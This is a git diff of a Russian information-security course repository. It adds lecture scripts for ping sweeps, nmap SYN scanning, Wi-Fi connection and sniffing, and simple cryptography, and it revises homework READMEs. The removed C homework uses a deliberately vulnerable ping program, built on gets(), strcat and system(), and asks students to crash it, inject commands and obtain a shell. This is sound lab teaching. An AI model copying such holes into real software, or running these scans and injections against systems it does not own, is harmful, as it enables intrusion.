diff --git a/00_Code/12_check.py b/00_Code/12_check.py new file mode 100644 index 0000000..f270314 --- /dev/null +++ b/00_Code/12_check.py @@ -0,0 +1,11 @@ +# -*- coding: utf-8 -*- + +import os + +path = "c:\windows" +#path = "c:\windows1" + +if os.path.exists(path): + print("Каталог", path, "сущестует") +else: + print("Каталог", path, "не сущестует") \ No newline at end of file diff --git a/00_Code/13_for.py b/00_Code/13_for.py new file mode 100644 index 0000000..35e729a --- /dev/null +++ b/00_Code/13_for.py @@ -0,0 +1,17 @@ +# -*- coding: utf-8 -*- + +import os + +last = 10 +mask = "127.0.0." + + +for i in range(1, last): + + host = mask + str(i) + result = os.system("ping -n 1 -w 1 " + host) + + if not result: + print("Хост", host, "сущестует") + else: + print("Хост", host, "не сущестует") diff --git a/00_Code/README.md b/00_Code/README.md new file mode 100644 index 0000000..df0c348 --- /dev/null +++ b/00_Code/README.md @@ -0,0 +1,2 @@ + +Код из лекций diff --git a/00_Code/crypto_back.py b/00_Code/crypto_back.py new file mode 100644 index 0000000..49ae370 --- /dev/null +++ b/00_Code/crypto_back.py @@ -0,0 +1,13 @@ +# -*- coding: utf-8 -*- + +plain_text = "Очень секретная информация" +ciphertext = "" + +i = len(plain_text) - 1 + +while i >= 0: + ciphertext = ciphertext + plain_text[i] + i = i - 1 + +print(ciphertext) + diff --git a/00_Code/crypto_caesar.py b/00_Code/crypto_caesar.py new file mode 100644 index 0000000..e9394ff --- /dev/null +++ b/00_Code/crypto_caesar.py @@ -0,0 +1,41 @@ +# -*- coding: utf-8 -*- + +plain_text = 'Секретная информация о русских хакерах' +key = 10 + +aphabet = 'АБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ\ + абвгдежзийклмнопрстуфхцчшщъыьэюя' +ciphertext = '' + +for symbol in plain_text: + if symbol in aphabet: + num = aphabet.find(symbol) + num = num + key + + if num >= len(aphabet): + num = num - len(aphabet) + + ciphertext = ciphertext + aphabet[num] + + else: + ciphertext = ciphertext + symbol + +print(ciphertext) + +plain_text = ciphertext +ciphertext = '' + +for symbol in plain_text: + if symbol in aphabet: + num = aphabet.find(symbol) + num = num - key + + if num < 0: + num = num + len(aphabet) + + ciphertext = ciphertext + aphabet[num] + + else: + ciphertext = ciphertext + symbol + +print(ciphertext) diff --git a/00_Code/crypto_caesar_brute.py b/00_Code/crypto_caesar_brute.py new file mode 100644 index 0000000..367b239 --- /dev/null +++ b/00_Code/crypto_caesar_brute.py @@ -0,0 +1,24 @@ +# -*- coding: utf-8 -*- + +ciphertext = 'ЫпфъпьчкЙжтчюшъцкАтЙжшжъэыыфтяжякфпъкя' + +aphabet = 'АБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ\ + абвгдежзийклмнопрстуфхцчшщъыьэюя' + +for key in range(len(aphabet)): + plain_text = '' + + for symbol in ciphertext: + if symbol in aphabet: + num = aphabet.find(symbol) + num = num - key + + if num < 0: + num = num + len(aphabet) + + plain_text = plain_text + aphabet[num] + else: + plain_text = plain_text + symbol + + print(key, ":", plain_text) + diff --git a/00_Code/crypto_hash.py b/00_Code/crypto_hash.py new file mode 100644 index 0000000..ed018a2 --- /dev/null +++ b/00_Code/crypto_hash.py @@ -0,0 +1,104 @@ +# -*- coding: utf-8 -*- + +import hashlib + +''' +text = "Секретная информация о русских хакерах".split() + +for i in text: + md5 = hashlib.md5(i.encode()) + print(i,":", md5.hexdigest()) +''' + +""" +print("Посимвольно:") +md5 = hashlib.md5() +md5.update(b"t") +print(md5.hexdigest()) +md5.update(b"e") +print(md5.hexdigest()) +md5.update(b"x") +print(md5.hexdigest()) +md5.update(b"t") +print(md5.hexdigest()) + +md5 = hashlib.md5(b"text") +print("text:\n" + md5.hexdigest()) +""" + +''' +md5 = hashlib.md5(b"text") +print("MD5:", md5.hexdigest()) +md5 = hashlib.sha1(b"text") +print("SHA-1:", md5.hexdigest()) +md5 = hashlib.sha256(b"text") +print("SHA-256:", md5.hexdigest()) +md5 = hashlib.sha512(b"text") +print("SHA-512:", md5.hexdigest()) +''' + +''' +text = "text" +salt = "salt" + +md5 = hashlib.sha512(b"text") +print("SHA-512:", md5.hexdigest()) + +md5 = hashlib.sha512(salt.encode() + text.encode()) +print("SHA-512 with salt:", md5.hexdigest()) +''' + +''' +import bcrypt + +user_pass = "12345" +hashed_pass = bcrypt.hashpw(user_pass.encode(), bcrypt.gensalt()) +print(hashed_pass) + +user_text = input("Введите пароль:") + +if bcrypt.hashpw(user_text.encode(), hashed_pass) == hashed_pass: + print("Пароли совпадают.") +else: + print("Пароли не совпадают.") +''' + + +''' +from Crypto.Cipher import AES +import os + +key = os.urandom(16) +print("key: ", key.hex()) +aes = AES.new(key, AES.MODE_EAX) + +ciphertext, tag = aes.encrypt_and_digest(b"data") + +print("Ciphertext:", ciphertext.hex()) +''' + + +from Crypto.Cipher import AES +from Crypto import Random + +BS = AES.block_size +pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) +unpad = lambda s : s[:-ord(s[len(s)-1:])] + +plain_text = "Top secret1" +key = hashlib.sha256(b"12345").digest() +print("Key:", key) + +plain_text = pad(plain_text) +iv = Random.new().read(BS) +cipher = AES.new(key, AES.MODE_CBC, iv) +cipher_text = (iv + cipher.encrypt(plain_text.encode())) +print("\nCiphered text:", cipher_text) + +cipher_text = cipher_text +iv = cipher_text[:BS] +cipher = AES.new(key, AES.MODE_CBC, iv ) +plain_text = unpad(cipher.decrypt(cipher_text[BS:])) +print("\nPlain text:", plain_text) + + diff --git a/00_Code/main b/00_Code/main new file mode 100644 index 0000000..1a2bcc2 Binary files /dev/null and b/00_Code/main differ diff --git a/00_Code/main1 b/00_Code/main1 new file mode 100644 index 0000000..d60357e Binary files /dev/null and b/00_Code/main1 differ diff --git a/00_Code/nmap_test.py b/00_Code/nmap_test.py new file mode 100644 index 0000000..b2d7229 --- /dev/null +++ b/00_Code/nmap_test.py @@ -0,0 +1,16 @@ +#!/usr/bin/python3 + +import nmap3 +import json + +scan = nmap3.NmapScanTechniques() +result = scan.nmap_syn_scan("192.168.0.5") + +print(result) +#print(result["192.168.0.5"]) +#print(result["192.168.0.5"]["ports"][0]["protocol"]) +#print(result["192.168.0.5"]["ports"][0]["portid"]) +#print(result["192.168.0.5"]["ports"][0]["state"]) + +for i in result["192.168.0.5"]["ports"]: + print(i["protocol"], i["portid"], i["state"]) diff --git a/00_Code/pywifi_scrypt.py b/00_Code/pywifi_scrypt.py new file mode 100644 index 0000000..e1c3205 --- /dev/null +++ b/00_Code/pywifi_scrypt.py @@ -0,0 +1,42 @@ +# -*- coding: utf-8 -*- + +import pywifi +import time + +wifi = pywifi.PyWiFi() +iface = wifi.interfaces()[0] +print("Мой интерфейс:", iface.name()) + +iface.scan() +time.sleep(2) + +result = iface.scan_results() + +print("\nДоступные сети:") +for i in range(len(result)): + print(result[i].ssid, result[i].bssid) + + +profile = pywifi.Profile() +profile.ssid = 'iphone' +profile.auth = pywifi.const.AUTH_ALG_OPEN +profile.akm.append(pywifi.const.AKM_TYPE_WPA2PSK) +profile.cipher = pywifi.const.CIPHER_TYPE_CCMP +profile.key = '1!234567' + +profile = iface.add_network_profile(profile) +iface.connect(profile) + +result = iface.status() + +if result == pywifi.const.IFACE_CONNECTING: + print("Пробуем присоединиться") + +time.sleep(10) + +result = iface.status() +if result == pywifi.const.IFACE_CONNECTED: + print("Соединение установлено") +else: + print("Статус соединения", result) + diff --git a/00_Code/wifi_scapy_sniff.py b/00_Code/wifi_scapy_sniff.py new file mode 100644 index 0000000..a7de802 --- /dev/null +++ b/00_Code/wifi_scapy_sniff.py @@ -0,0 +1,20 @@ +# -*- coding: utf-8 -*- + +from scapy.all import * +from time import sleep + +iface = "Realtek 8812AU Wireless LAN 802.11ac USB NIC" +devices = set() + +# отбрасываем beacons, probe request и responses +def dump_packet(pkt): + if not pkt.haslayer(Dot11Beacon) and not pkt.haslayer(Dot11ProbeReq) and not pkt.haslayer(Dot11ProbeResp): + print(pkt.summary()) + + if pkt.haslayer(Raw): + print(hexdump(pkt.load), "\n") + +print ("Прослушиваем интерфейс:" + iface) +while True: + sleep(0.01) + sniff(iface=iface, prn=dump_packet, count=10, timeout=3, store=0) diff --git a/01_win/README.md b/01_win/README.md index 20af2c9..b1afa86 100644 --- a/01_win/README.md +++ b/01_win/README.md @@ -12,7 +12,7 @@ ### Задача -Скачайте установочный [ISO-файл от Microsoft](https://www.microsoft.com/ru-ru/software-download/windows10ISO). +Скачайте установочный [ISO-файл от Microsoft](https://www.microsoft.com/en-us/evalcenter/evaluate-windows-10-enterprise).
Для Windows diff --git a/03_nix/README.md b/03_nix/README.md index 89c6fdf..878c475 100644 --- a/03_nix/README.md +++ b/03_nix/README.md @@ -18,7 +18,7 @@ С помощью `journalctl` отследите, лог приложения (не менее 2х минут) и пришлите: 1. Скриншот, либо содержимое файла `app.service` -1. Ответы на впоросы: +1. Ответы на вопросы: 1. На каком IP и порту запускается сервис 1. Кто (IP и порт) шлёт запросы на этот сервис и на какой путь 1. Какие ответы (формат) получает клиент из п.ii получает в ответ на свои запросы diff --git a/05_shell/README.md b/05_shell/README.md index a27e21e..11da08f 100644 --- a/05_shell/README.md +++ b/05_shell/README.md @@ -1,10 +1,61 @@ -# Домашнее задание к занятию «Использование командных оболочек» +# Домашнее задание к занятию «Использование командных оболочек 1. Bash» -В качестве результата пришлите ответы на вопросы в личном кабинете студента на сайте [netology.ru](https://netology.ru). +В качестве результата пришлите ответы на вопросы в личном кабинете студента на сайте [netology.ru](https://netology.ru/). **Важно**: перед отправкой переименуйте ваш скрипт в `script.txt` (система отправки файлов Netology блокирует файлы с расширением `.sh`). -## Задача Scripting + + +## Задание 1 + +Напишите два скрипта, каждый из которых принимает один параметр и: + +- первый - прибавляет к параметру единицу как строку. + + **Например:** + + **user@user:~$ ./test_1.sh 5** + + **51** + +- второй - прибавляет к параметру единицу как число. + + **Например:** + + **user@user:~$ ./test_2.sh 5** + + **6** + + + +## Задание 2 + +Напишите скрипт, который выводит содержимое каталога и подсчитывает в нём количество файлов. + +**Например:** + +**user@user:~$ ./test_dir.sh +admin_scripts** +**...** +**Videos** +**Total: 22** + + +## Задание 3 + +Напишите скрипт, который принимает один параметр и определяет, какой объект передан этим параметром (файл, каталог или не существующий). + +**Например:** + +**user@user:~$ ./test.sh /etc** +**/etc - dir** +**user@user:~$ ./test.sh /etc/passwd** +**/etc/passwd - file** +**user@user:~$ ./test.sh /etc/passwd1** +**/etc/passwd1 - not exist** + + +## Задание 4* (необязательное) ### Легенда @@ -13,6 +64,7 @@ ### Задача Написать скрипт для Bash, который: + 1. принимает на входе два аргумента. Первый - режим преобразования, второй - строка; 2. если первый параметр равен `crypt` - преобразует второй параметр в строку Base64; 3. если первый параметр равен `decrypt` - преобразует второй параметр в текст; @@ -21,13 +73,10 @@ Пример работы: -```shell script +``` $ ./script.sh crypt test Encrypting... dGVzdAo= -``` - -```shell script $ ./script.sh decrypt dGVzdAo= Decrypting... test @@ -37,42 +86,6 @@ test ### Реализация -
-Подсказки - -1\. Для работы со строками можно использовать стандартную утилиту base64: - -`base64 <строка>` - преобразование в формат base64 - -`base64 -d <строка>` - преобразование в текст - -2\. Для выхода их скрипта можно использовать команду `exit`: - -```shell script -exit -``` - -Завершит выполнение скрипта ровно в той точке, в которой была вызвана с кодом 0 (0 означает успешное выполнение) - -```shell script -exit 1 -``` - -Завершит выполнение скрипта ровно в той точке, в которой была вызвана с кодом 1 (любой ненулевой код свидетельствует об ошибке) - -Посмотреть код завершения можно сразу после вызова: -```shell script -$ ./script.sh -$ echo $? # напечатает код завершения -``` - -3\. Для передачи строки в команды можно использовать каналы (такое вы уже делали на курсе по сетям): - -```shell script -echo Привет | base64 -``` - -**Важно**: не забудьте дать скрипту права на исполнение (команда `chmod +x ./script.sh`) - -
+
Подсказки

1. Для работы со строками можно использовать стандартную утилиту base64:

base64 <строка> - преобразование в формат base64

base64 -d <строка> - преобразование в текст

2. Для выхода их скрипта можно использовать команду exit:

exit

Завершит выполнение скрипта ровно в той точке, в которой была вызвана с кодом 0 (0 означает успешное выполнение)

exit 1

Завершит выполнение скрипта ровно в той точке, в которой была вызвана с кодом 1 (любой ненулевой код свидетельствует об ошибке)

Посмотреть код завершения можно сразу после вызова:

$ ./script.sh
+$ echo $? # напечатает код завершения

3. Для передачи строки в команды можно использовать каналы (такое вы уже делали на курсе по сетям):

echo Привет | base64

Важно: не забудьте дать скрипту права на исполнение (команда chmod +x ./script.sh)

diff --git a/06_c/README.md b/06_c/README.md deleted file mode 100644 index 0ae944c..0000000 --- a/06_c/README.md +++ /dev/null @@ -1,35 +0,0 @@ -# Домашнее задание к занятию «Системное программирование (язык C) - основы языка» - -В качестве результата пришлите ответы на вопросы в личном кабинете студента на сайте [netology.ru](https://netology.ru). - -## Задача Whoami - -**Важно**: выполняйте данную задачу на ОС Linux (Ubuntu или Kali) - -### Легенда - -У вас есть следующий код: -```c -#include - -int main() { - system("whoami"); - return 0; -} -``` - -### Задача - -По аналогии с лекцией установите необходимые зависимости (`apt update && apt install gcc`) и скомпилируйте данную программу (`cc main.c -o main`). - -Далее: -1. Запустите её от обычного пользователя (`./main`) -1. Запустите её от root'а (`sudo ./main`) -1. Установите её в качестве systemd-сервиса (достаточно `After`, `ExecStart` и `WantedBy`), запустите (`systemctl start `) и проверьте журнал (`journalctl -u `) - -Ответьте на следующие вопросы: -1. Что было выведено в каждой команде? -1. За что отвечает команда `whoami` (попробуйте её выполнить без Си, просто в терминале, заодно можете прочитать справку - `man whoami`, используйте клавишу `q` для выхода)? -1. Какую роль выполняет функция `system` (вы можете подтвердить свои гипотезы экспериментом, прописав вместо `whoami` другие команды и прочитав [документацию](https://www.gnu.org/software/libc/manual/html_node/Running-a-Command.html#index-system))? - -В качестве результата пришлите ответы на вопросы в личном кабинете студента на сайте [netology.ru](https://netology.ru). diff --git a/06_shell/README.md b/06_shell/README.md new file mode 100644 index 0000000..3b599a5 --- /dev/null +++ b/06_shell/README.md @@ -0,0 +1,94 @@ +# Домашнее задание к занятию «Использование командных оболочек 2. PowerShell» + +В качестве результата пришлите ответы на вопросы в личном кабинете студента на сайте [netology.ru](https://netology.ru/). + +**Важно**: перед отправкой переименуйте ваш скрипт в `script.txt` (система отправки файлов Netology блокирует файлы с расширением `.ps1`). + + + +## Задание 1 + +Напишите два скрипта, каждый из которых принимает один параметр и: + +- первый - прибавляет к параметру единицу как строку. + + **Например:** + + **./test_1.ps1 5** + + **51** + +- второй - прибавляет к параметру единицу как число. + + **Например:** + + **./test_2.ps1 5** + + **6** + + + +## Задание 2 + +Напишите скрипт, который выводит содержимое каталога и подсчитывает в нём количество файлов. + +**Например:** + +**./test_dir.ps1** +**admin_scripts** +**...** +**Videos** +**Total: 22** + + + +## Задание 3 + +Напишите скрипт, который принимает один параметр и определяет, какой объект передан этим параметром (файл, каталог или не существующий). + +**Например:** + +**./test.ps1 c:\windows** +**c:\windows - dir** +**./test.ps1 c:\pagefile.sys** +**c:\pagefile.sys - file** +**user@user:~$./test.ps1 c:\windows1** +**c:\windows1 - not exist** + + + +## Задание 4* (необязательное) + +### Легенда + +Пользователи в нашей компании начали пересылать друг другу некие "секретные" сообщения. Т.к. доступа к средствам криптографии у них нет, для "шифрования" они используют преобразование строк в формат [Base64](https://ru.wikipedia.org/wiki/Base64). + +### Задача + +Написать скрипт, который: + +1. принимает на входе два аргумента. Первый - режим преобразования, второй - строка; +2. если первый параметр равен `crypt` - преобразует второй параметр в строку Base64; +3. если первый параметр равен `decrypt` - преобразует второй параметр в текст; +4. если первый параметр равен любой другой строке - выйти из скрипта с ненулевым кодом возврата и сообщить об этом пользователю; +5. если количество параметров скрипта не равно двум - выйти из скрипта с ненулевым кодом возврата выдать сообщение пользователю и завершить работу. + +Пример работы: + +``` +$ ./script.ps1 crypt test +Encrypting... +dGVzdAo= +$ ./script.ps1 decrypt dGVzdAo= +Decrypting... +test +``` + +Подсказки +Для работы со строками можно использовать следующие команды: + +
[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes(<строка>))
- преобразование в формат base64 + +
[Text.Encoding]::Utf8.GetString([Convert]::FromBase64String(<строка>))
- преобразование в текст + + diff --git a/07_c/README.md b/07_c/README.md deleted file mode 100644 index 585fb67..0000000 --- a/07_c/README.md +++ /dev/null @@ -1,79 +0,0 @@ -# Домашнее задание к занятию «Системное программирование (язык C) - типовые конструкции» - -В качестве результата пришлите ответы на вопросы в личном кабинете студента на сайте [netology.ru](https://netology.ru). - -## Задача "Ломаем ping" - -**Важно**: выполняйте данную задачу на ОС Linux (Ubuntu или Kali) - -### Легенда - -У вас есть следующий код: -```c -#include -#include -#include - -int main() { - /* выделяем буфер из 255 символов + \0 для хранения команды */ - char command[256] = {'p', 'i', 'n', 'g', ' ', '\0'}; - /* буфер для хранения хоста, который нужно пропинговать */ - char host[16]; - - printf("please enter host for ping\n"); - /* получаем от пользователя имя хоста - нужно ввести в консоли, например, ya.ru и нажать Enter */ - gets(host); - - /* отладочный вывод - печатаем команду */ - printf("command: %s\n", command); - /* отладочный вывод - печатаем хост */ - printf("host: %s\n", host); - - /* добавляем к команде хост, при этом \0 в команде заменяется на первый символ из host */ - strcat(command, host); - - /* отладочный вывод - печатаем полную команду */ - printf("full command: %s\n", command); - - /* выполняем команду */ - system(command); - - return 0; -} -``` - -*Важно*: строки, которые начинаются с `/*` и заканчиваются `*/` - это комментарии (пояснения к коду программы), вы можете их не печатать. - -### Задача - -По аналогии с лекцией установите необходимые зависимости (`apt update && apt install gcc`) и скомпилируйте данную программу (`cc main.c -o main`) - не обращайте внимание на предупреждения, если они будут. - -Далее: -1\. Запустите её (`./main`), вы увидите приглашение вида: - -![](pic/input.png) - -2\. Введите адрес хоста, который необходимо пропинговать и убедитесь, что пинг работает: - -![](pic/ping.png) - -3\. Завершите работу приложения с помощью сочетания клавиш Ctrl + C - -Творческая часть: попробуйте подобрать данные (по аналогии с лекцией) так, чтобы: -1. Приложение "упало" (вы получили сообщение segmentation fault или другое, свидетельствующее об ошибке) -1. Вам удалось выполнить вместо `ping` другую команду - -
-Подсказка - -Начните вводить по одному символу, пока не увидите, что команда `ping` вдруг заменилась на нужную вам (см. вывод `printf("full command: %s\n", command);`). -
- -### Результаты - -В качестве результата пришлите ответы на следующие вопросы: -1. Какое предупреждение (`Warning`) было выведено при компиляции? По желанию: проведите доп.исследование на предмет сути предупреждения (с чем оно связано, какие риски от использования одной из функций в программе и что это за функция). -1. Ввод, приводящий к падению приложения -1. Ввод, приводящий к выполнению другой команды (не `ping`) - -В качестве результата пришлите ответы на вопросы в личном кабинете студента на сайте [netology.ru](https://netology.ru). diff --git a/07_python1/README.md b/07_python1/README.md new file mode 100644 index 0000000..645696e --- /dev/null +++ b/07_python1/README.md @@ -0,0 +1,97 @@ + +# Домашнее задание к занятию «Язык Python. Основы.» + +В качестве результата пришлите ответы на вопросы в личном кабинете студента на сайте [netology.ru](https://netology.ru/). + +**Важно**: перед отправкой переименуйте ваш скрипт в `script.txt` (система отправки файлов Netology блокирует файлы с расширением `.py`). + + + +## Задание 1 + +Напишите два скрипта, каждый из которых принимает один параметр и: + +- первый - прибавляет к параметру единицу как строку. + + **Например:** + + **./python3 test_1.py 5** + + **51** + +- второй - прибавляет к параметру единицу как число. + + **Например:** + + **./python3 test_2.py 5** + + **6** + + + +## Задание 2 + +Напишите скрипт, который выводит содержимое каталога и подсчитывает в нём количество файлов. + +**Например:** + +**./test_dir.py** +**admin_scripts** +**...** +**Videos** +**Total: 22** + + + +## Задание 3 + +Напишите скрипт, который принимает один параметр и определяет, какой объект передан этим параметром (файл, каталог или не существующий). + +**Например:** + +**./test.py \windows** +**c:\windows - dir** +**./test.py c:\pagefile.sys** +**c:\pagefile.sys - file** +**user@user:~$ c:\windows1** +**c:\windows1 - not exist** + + + +## Задание 4* (необязательное) + +### Легенда + +Пользователи в нашей компании начали пересылать друг другу некие "секретные" сообщения. Т.к. доступа к средствам криптографии у них нет, для "шифрования" они используют преобразование строк в формат [Base64](https://ru.wikipedia.org/wiki/Base64). + +### Задача + +Написать скрипт, который: + +1. принимает на входе два аргумента. Первый - режим преобразования, второй - строка; +2. если первый параметр равен `crypt` - преобразует второй параметр в строку Base64; +3. если первый параметр равен `decrypt` - преобразует второй параметр в текст; +4. если первый параметр равен любой другой строке - выйти из скрипта с ненулевым кодом возврата и сообщить об этом пользователю; +5. если количество параметров скрипта не равно двум - выйти из скрипта с ненулевым кодом возврата выдать сообщение пользователю и завершить работу. + +Пример работы: + +``` +$ ./script.py crypt test +Encrypting... +dGVzdAo= +$ ./script.py decrypt dGVzdAo= +Decrypting... +test +``` + +Подсказки +Для работы с base64 в языке Python сначала нужно перевести строку в ASCII: + +
text_bytes = text.encode('ascii')
+ +После работы с base64, нужно выполнить обратное преобразование: +
text_bytes = text.decode('ascii')
+ +Сама конвертация в/из base64 выполняет функциями: +
base64.b64encode(<строка>) и base64.b64decode(<строка>)
diff --git a/08_c/README.md b/08_c/README.md deleted file mode 100644 index 32b6a75..0000000 --- a/08_c/README.md +++ /dev/null @@ -1,57 +0,0 @@ -# Домашнее задание к занятию «Системное программирование (язык C) - функции и библиотеки» - -В качестве результата пришлите ответы на вопросы в личном кабинете студента на сайте [netology.ru](https://netology.ru). - -## Задача "Ломаем ping" (продолжение) - -**Важно**: выполняйте данную задачу на ОС Linux (Ubuntu или Kali) - -### Легенда - -Программисты прислали вам якобы "исправленный" вариант программы `ping`: -```c -#include -#include -#include - -int main() { - /* выделяем буфер из 24 символов для хранения команды */ - char command[24] = "ping "; - /* буфер для хранения хоста, который нужно пропинговать */ - char host[16]; - - printf("please enter host for ping\n"); - /* получаем от пользователя имя хоста */ - /* нужно ввести в консоли, например, ya.ru и нажать Enter */ - fgets(host, sizeof(host), stdin); - - /* отладочный вывод - печатаем команду */ - printf("command: %s\n", command); - /* отладочный вывод - печатаем хост */ - printf("host: %s\n", host); - - /* добавляем к команде хост, при этом \0 в команде заменяется на первый символ из host */ - strcat(command, host); - - /* отладочный вывод - печатаем полную команду */ - printf("full command: %s\n", command); - - /* выполняем команду */ - system(command); - - return 0; -} -``` - -### Задача - -Проведите повторный анализ и посмотрите: -1. Можно ли реализовать переполнение? -1. Можно ли выполнить произвольную команду (если да, то как)? -1. Если ответ на п.2 - да, то можно ли получить shell (т.е. запустить `sh` и `bash` и продолжить работу с интерпретатором команд в интерактивном режиме)? - -### Результаты - -В качестве результата пришлите ответы на вопросы, указанные в задании (раздел Задача). - -В качестве результата пришлите ответы на вопросы в личном кабинете студента на сайте [netology.ru](https://netology.ru). diff --git a/08_python2/README.md b/08_python2/README.md new file mode 100644 index 0000000..efb7ff0 --- /dev/null +++ b/08_python2/README.md @@ -0,0 +1,27 @@ + +# Домашнее задание к занятию «Язык Python в информационной безопасности» + +В качестве результата пришлите ответы на вопросы в личном кабинете студента на сайте [netology.ru](https://netology.ru/). + +**Важно**: перед отправкой переименуйте ваш скрипт в `script.txt` (система отправки файлов Netology блокирует файлы с расширением `.py`). + + + +## Задание 1 + +Просканируйте с помошью Python ВМ Metasploitable. Определите установленные службы (нужно вывести название и версию службы, номер порта.) + +## Задание 2* (необязательное) + +Данное задание не является обязательным, т.к. может потребоваться дополнительное оборудование. + +Попробуйте повторить сканирование Wi-Fi, приведенное в лекции. + +*Помните, что атаковать чужие устройства, - наказуемое законом дияние. Поэтому, все работы должны проводится на вашем оборудовании или с письменного согласия владельца!* + + + +## Обратите внимание +Если при установки пакета у вас появилось сообщение `error: externally managed environment`, самым простым решением будет указать дополнительный параметр, приведенный в самой ошибке: `--break-system-packages`. Альтернативными вариантами будет использование `pipx` или создание отдельного окружения. + +Подробнее [по ссылке](https://stackoverflow.com/questions/75608323/how-do-i-solve-error-externally-managed-environment-every-time-i-use-pip-3) diff --git a/09_go/README.md b/09_go/README.md deleted file mode 100644 index 99a6d2c..0000000 --- a/09_go/README.md +++ /dev/null @@ -1,102 +0,0 @@ -# Домашнее задание к занятию «Программирование на Go - основы языка и типовые конструкции» - -В качестве результата пришлите ответы на вопросы в личном кабинете студента на сайте [netology.ru](https://netology.ru). - -Перед выполнением задачи удостоверьтесь, что вы согласно инструкции установили: -1. [Компилятор языка Go](go-installation.md) -1. [GoLand](goland-installation.md)* - -Кроме того, ознакомились с тем, [как открывать терминал в GoLand](terminal.md). - -**Важно**: GoLand устанавливать не обязательно (но очень желательно), вы можете набирать текст программ в любом текстовом редакторе и запускать из консоли командой: `go run main.go`. - -### Установка Go в VM - -Для установки в виртуальную машину Linux можно воспользоваться следующей командой: -```shell -sudo snap install go --classic -``` -После чего нужно проверить успешность установки командой `go version`. - -## Задача "Syscall" - -**Важно**: данную ДЗ нужно выполнять в ОС Linux - -### Легенда - -В Go есть пакет syscall, который позволяет выполнять системные вызовы. - -В этом пакете есть есть функция `Kill` (`man kill`), которая позволяет из вашего процесса посылать сигналы другим процессам. - -
-Что ещё за сигналы? - -Различные процессы в ОС могут взаимодействовать друг с другом (IPC - Inter Process Communication) посредством отправки сигналов. -
- -Соответственно, один процесс отправляет другом сигнал, второй его получает и как-то на это реагирует. - -Ваша задача: написать небольшое приложение на Go, которое позволяет отправлять сигналы целевым процессам и изучить реакцию на эти сигналы. - -### Выполнение - -1. Создаёте файл `main.go`, в котором есть функция `main` и `package` объявлен как `main` (как на лекции) -1. Прописываете вызов функции `Kill` из пакета `syscall`: `syscall.Kill(pid, signal)`, где: - 1. вместо `pid` надо подставить идентификатор существующего в системе процесса (откройте в одной из консолей редактор nano) - 1. вместо `signal` - сначала `syscall.SIGKILL`, затем `syscall.SIGSEGV` -1. В ответ функция `Kill` вернёт вам ошибку (или `nil` - специальное значение, указывающее, что вызов прошёл без ошибки): `err := syscall.Kill(pid, signal)` -1. Для вывода возможной ошибки на экран используйте функцию `log.Print(err)` - -
-Полная программа целиком - -```go -package main - -import ( - "log" - "syscall" -) - -func main() { - err := syscall.Kill(9999, syscall.SIGKILL) - log.Print(err) -} -``` - -Где: -1. 9999 - pid, которому мы отправляем сигнал -2. `syscall.SIGKILL` - какой сигнал мы отправляем -
- -
-Как узнать PID процесса? - -`ps -A | grep nano` - -Объяснение: -1. `ps -A` выводит список всех процессов в виде набор строк -1. `|` перенаправляет вывод команды `ps -A` на вход следующей команде -1. `grep nano` отображает только строки, в которых есть подстрока `nano` - -Обратите внимание, если процесс завершится и вы снова запустите процесс, то его PID в большинстве случаев будет другой. -
- -1. Скомпилируйте программу командой `go build -o killer main.go` (нужно находится в том же каталоге, где находится `main.go`). -1. Запустите программу командой `./killer` (нужно находится в том же каталоге). - -### Результаты - -В качестве результата пришлите ответы на следующие вопросы: -1. Какое сообщение выводится, если вы указали несуществующий PID? -1. Что происходит с процессом, при отправке сигнала `syscall.SIGKILL`? -1. Что происходит с процессом, при отправке сигнала `syscall.SIGSEGV`? -1. Что выведет программа `killer`, если попытаться отправить сигналы PID = 1? Что это за процесс с PID = 1? -1. Что произойдёт*, если запустить nano с помощью sudo, а `killer` от лица обычного пользователя? -1. Что произойдёт*, если запустить nano с помощью sudo и `killer` с помощью sudo (`sudo ./killer`)? -1. Что произойдёт, если попытаться отправить сигналы PID = 1 с помощью sudo (`sudo ./killer`)? -1. Проведите небольшое исследование и выясните, за что отвечают сигналы `SIGKILL` и `SIGSEGV` - -Примечание*: нужно написать сообщение из консоли, где запущено `nano` и вывод команды `killer` - -В качестве результата пришлите ответы на вопросы в личном кабинете студента на сайте [netology.ru](https://netology.ru). diff --git a/09_go/go-installation.md b/09_go/go-installation.md deleted file mode 100644 index 75d11ad..0000000 --- a/09_go/go-installation.md +++ /dev/null @@ -1,152 +0,0 @@ -# Установка Go - -В курсе будет использоваться последняя опубликованная версия Go. Данное руководство написано для Go 1.14, но будет работать и для более новых версий. - -## Windows - -##### Шаг 1. Забиваете в Google "Golang" и переходите по ссылке Download: - -![](pic/go/win/step1.png) - -###### Шаг 2. Скачиваете установочный файл: - -![](pic/go/win/step2.png) - -###### Шаг 3. Запускаете установочный файл и нажимаете Next: - -![](pic/go/win/step3.png) - -###### Шаг 4. Внимательно читаете и принимаете лицензионное соглашение: - -![](pic/go/win/step4.png) - -###### Шаг 5. Выбираете путь для установки (мы рекомендуем оставить C:\\Go\\): - -![](pic/go/win/step5.png) - -Старайтесь не ставить Go в домашний каталог, либо в любые каталоги, содержащие пробелы, спец.символы либо не латиницу в пути - -Те же самые правила будут относиться и к проектам - -###### Шаг 6. Ждёте окончания установки: - -![](pic/go/win/step6.png) - -###### Шаг 7. Завершаете установку: - -![](pic/go/win/step7.png) - -###### Шаг 8. Запускаете командную строку (сочетание клавиш Win + R, ввести `cmd`): - -![](pic/go/win/step8.png) - -###### Шаг 9. Проверяете установку Go (вводите команду `go version`): - -![](pic/go/win/step9.png) - -Если выводится строка `go version go1.14.x windows/amd64` - вы установили всё верно, если же нет – пишете в Slack, на каком конкретно шаге остановились - -## MacOS - -Есть два варианта установки: - -1. Homebrew -2. Через официальный установочный файл - -### Homebrew - -Тут всё супер-просто: в терминале ([Руководство по терминалу](terminal.md)) запускаете команду `brew install golang`. - -Далее в том же терминале: -```shell -$ go version -``` - -Если будет выведена та версия, которую вы устанавливали – всё ок, если нет – пишете в Slack, на каком конкретно шаге остановились - -### Установочный файл - -##### Шаг 1. Забиваете в Google "Golang" и переходите по ссылке Download: - -![](pic/go/mac/step1.png) - -###### Шаг 2. Скачиваете установочный файл: - -![](pic/go/mac/step2.png) - -###### Шаг 3. Запускаете установочный файл: - -![](pic/go/mac/step3.png) - -###### Шаг 4. Запускаете установку: - -![](pic/go/mac/step4.png) - -###### Шаг 5. Вводите логин и пароль для 